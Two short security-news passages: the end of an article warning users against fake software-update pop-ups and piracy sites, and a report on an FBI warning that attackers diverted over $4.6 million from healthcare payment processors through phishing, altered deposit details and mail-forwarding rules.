People should never receive updates from windows that are displayed when trying to view videos or install software. The distinction can be hard for less experienced users, because Flash itself presentsor at least used to presentnotifications when updates were available. People also would do well to steer clear of sites offering pirated material.
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The Federal Bureau of Investigation (FBI) has issued a warning about hackers attacking healthcare payment services to channel payments into bank accounts managed by the threat actors, after more than $4.6 million was stolen from healthcare companies this year alone.
According to the FBI, hackers redirected more than $4.6 million to their accounts in three instances between February and April this year, combining various tactics to obtain login credentials from healthcare workers and social engineering to mimic victims with access to health portals, websites, and payment information.
One threat actor stole $3.1 million by using the credentials of a major healthcare company to replace a hospital’s direct deposit banking information with accounts they controlled. Another perpetrator used the same method to steal $700,000 from a victim; and the third posed as an employee and altered ACH instructions to steal $840,000 from more than 175 medical providers.
According to the FBI, the workings of these specific threat actors include sending phishing emails to the financial departments of healthcare payment processors, changing Exchange Server configuration, and setting up custom rules for targeted accounts to obtain a copy of the victim’s messages.
The sources for this piece include an article in BleepingComputer. |
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